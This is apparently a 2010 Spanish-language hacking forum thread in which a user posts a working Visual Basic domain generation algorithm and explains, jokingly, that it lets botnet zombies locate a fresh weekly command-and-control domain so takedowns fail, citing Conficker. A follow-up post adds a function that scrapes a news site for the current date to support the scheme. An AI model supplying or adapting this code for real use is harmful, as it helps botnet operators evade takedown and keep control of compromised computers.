[SNIPPET] GenerateDomain - Nombre de dominio a partir de una fecha

Iniciado por Karcrack, 6 Julio 2010, 17:00 PM

0 Miembros y 1 Visitante están viendo este tema.

Karcrack

Código (vb) [Seleccionar]
Public Function GenerateDomain(ByVal dDate As Date, Optional ByVal lLength As Long = 5) As String
   Const sCharSet  As String = "abcdefghijklmnopqrstuvwxyz0123456789qwertyuiopasdfghjklñzxcvbnm0987654321"
   Dim sSuffix     As String
   Dim iDay        As Single
   Dim iMonth      As Single
   Dim iYear       As Single
   Dim lNumb       As Long
   Dim i           As Long
   Dim lPos        As Long
   
   iDay = Day(dDate)
   iMonth = Month(dDate)
   iYear = Year(dDate)
   
   sSuffix = Choose(((iMonth Xor iDay) Mod 9) + 1, "com", "net", "es", "co.uk", "ws", "org", "us", "info", "mx")
   
   lNumb = ((iYear And &HFF00&) \ &H100) * ((iDay * (Tan(iYear And &HFF))) Xor Cos(iMonth * 10))
   lNumb = Abs(lNumb)
   If lNumb Mod 2 Then lNumb = lNumb Xor (iYear \ (iMonth * iDay))
   
   For i = 1 To lLength
       lPos = Abs(((lNumb * (i Xor lNumb / 2)) Mod Len(sCharSet)) - Len(sCharSet))
       GenerateDomain = GenerateDomain & Mid$(sCharSet, lPos, 1)
   Next i
   
   GenerateDomain = GenerateDomain & "." & sSuffix
End Function


Esta funcion genera un nombre de dominio en base a una fecha ;)

Utilidad? No se si sabreis algo sobre BotNets... pero imaginemos que queremos controlar una red de Zombies y , claro, utilizar un dominio fijo para la manejarlos no es seguro, ya que te lo capan y se acabo la juerga... Asi que tu compras los dominios por ejemplo de forma semanal, y tus Zombies generan cada Domingo el dominio al que se conectaran... Tachan! :xD

Espero que se entienda para que sirve :P

Un ejemplo de BotNet que utiliza este sistema es la conocidisima Conficker :)

Ejemplo para hoy:
Código (vb) [Seleccionar]
Debug.Print GenerateDomain(Now, 10)
Hoy tendriamos que comprar este dominio:
ra8530yzvu.net

Nos costaria 6€ al año, y en una semana nos dariamos de baja... ese es el precio de mantener viva to BotNet :P 6€ por semana :laugh:, tambien se podria aplicar este metodo con servicios web gratuitos... pero nosostros somos empresarios de los buenos :laugh: :laugh: :silbar:

Saludos ;)

BlackZeroX

Lo mejor seria que tomara la hora y fecha de un servidor publico ya qué hay muchas PC con horas erróneas y la verdad qué no es rentable (de alguna manera) si se toma la hora locamente por ejemplo!¡.

Por otro lado: El algoritmo estaría bueno para tener seriales activos solo un día en especifico!¡. ID's específicos de un Día determinado para un log o similares (Sol si no tiene secuencia repetitiva de amplia longitud, como mínimo 5 años)!¡.


Sangriento Infierno Lunar!¡.
The Dark Shadow is my passion.

Karcrack

#2
Cita de: "BlackZeroX▓▓▒▒░░" en  7 Julio 2010, 06:07 AM
Lo mejor seria que tomara la hora y fecha de un servidor publico ya qué hay muchas PC con horas erróneas y la verdad qué no es rentable (de alguna manera) si se toma la hora locamente por ejemplo!¡.
Realmente la hora da igual para este algoritmo, simplemente es necesaria la fecha ;)
Aqui tienes un codigo que saca la fecha :D:
Código (vb) [Seleccionar]
'---------------------------------------------------------------------------------------
' Module    : mGetRealDay
' Author    : Karcrack
' DateTime  : 20/01/2009  17:15
' Purpose   : Obtener la fecha actual...
'---------------------------------------------------------------------------------------

Option Explicit

Public Function GetDate(Optional ByVal sFormat As String = "DD-MM-YYYY") As String
   Dim oHttp       As Object 'New WinHttp.WinHttpRequest
   Dim sData       As String
   
   'Cargamos el WinHttp
   Set oHttp = CreateObject("WinHttp.WinHttpRequest.5.1")
   With oHttp
       'Establecemos el metodo de conexion y la URL
       .Open "GET", "http://www.larazon.es/"
       'Enviamos la peticion
       .Send
       'Obtenemos el resultado
       sData = .ResponseText
   End With
   'Descargamos el WinHttp
   Set oHttp = Nothing
   'Obtenemos la fecha
   sData = Split(Split(sData, Replace$("<p class='fecha_actualizacion'><span>", "'", Chr$(34)))(1), " </span>")(0)
   'Y le damos formato =D
   GetDate = Format$(sData, sFormat)
End Function

http://foro.elhacker.net/programacion_vb/src_obtener_la_fecha_real-t242329.0.html;msg1168082

Saludos ;)